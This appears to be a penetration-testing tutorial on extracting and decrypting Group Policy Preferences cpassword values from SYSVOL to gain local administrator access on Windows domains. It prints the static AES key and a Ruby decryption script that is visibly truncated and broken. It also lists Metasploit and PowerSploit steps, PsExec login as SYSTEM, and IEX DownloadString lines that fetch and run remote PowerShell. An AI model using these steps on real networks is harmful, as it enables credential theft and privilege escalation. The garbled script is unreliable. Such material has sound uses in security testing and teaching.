Group policy preferences allows domain admins to create and deploy across the domain local users and local administrators accounts. This feature was introduced in Windows 2008 Server however it can be abused by an attacker since the credentials of these accounts are stored encrypted and the public key is published by Microsoft. This leaves the door open to any user to retrieve these files and decrypt the passwords stored in order to elevate access.

These files are stored in a shared directory in the domain controller and any authenticated user in the domain has read access to these files since it is needed in order to obtain group policy updates.

The static key which can decrypt passwords stored in Group Policy Preferences can be seen below:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Manual Exploitation

In order to exploit this issue manually it is needed to manually browse to the Groups.xml file which is stored in a shared directory in the domain controller and obtain the value of the attribute cpassword.

GPP cPassword Value

GPP cpassword Value

Then this value can be passed into another tool which can decrypt the value.

Decrypting GPP Passwords with gp3finder

Decrypting GPP Passwords Manually

Chris Gates wrote a ruby script for decrypting cpassword values.

require 'rubygems'
require 'openssl'
require 'base64' 

encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" 

def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)

key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\
aes ="AES-256-CBC")
aes.key = key
plaintext = aes.update(decoded)
plaintext <<
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion 

return pass

blah = decrypt(encrypted_data)
puts blah


Decrypting passwords that are stored in the Group Policy Preferences can be done automatically though Metaasploit. The following post exploitation module will obtain and decrypt the cPassword from the Groups.xml file which is stored in the SYSVOL.

Metasploit - GPP Exploitation

Metasploit – Decrypting GPP Passwords

Since domain administrators can set up local administrators accounts through the Group Policy this can lead to privilege escalation. These credentials can be used with the PsExec Metasploit module in order to successfully login to the workstation as SYSTEM.

Metasploit PsExec

Metasploit PsExec Usage

PsExec - Authentication as Admin

PsExec – Authentication as Administrator


Alternatively the same results can be achieved through PowerSploit. There are two modules which can obtain and decrypt the cPassword from the Groups.xml file either locally or directly from the domain controller.

Get-CachedGPPPassword //For locally stored GP Files
Get-GPPPassword //For GP Files stored in the DC
PowerSploit - Get-CachedGPPPassword

PowerSploit – Get-CachedGPPPassword

PowerShell via Metasploit

As there are many PowerShell scripts that can be used for post exploitation it is possible to use Metasploit in order to inject a PowerShell payload into a specific process.  This could allow the execution of PowerShell scripts directly from memory.

Metasploit - PowerShell Payload

Injecting PowerShell Payload into a Process

Then from the interactive PowerShell session the Invoke-Expression cmdlet could be utilized in order to drop and execute any PowerShell script that is locally hosted.

IEX(New-Object Net.WebClient).DownloadString("")
IEX(New-Object Net.WebClient).DownloadString("")
Running PowerSploit via Metasploit

Executing PowerSploit Modules via Metasploit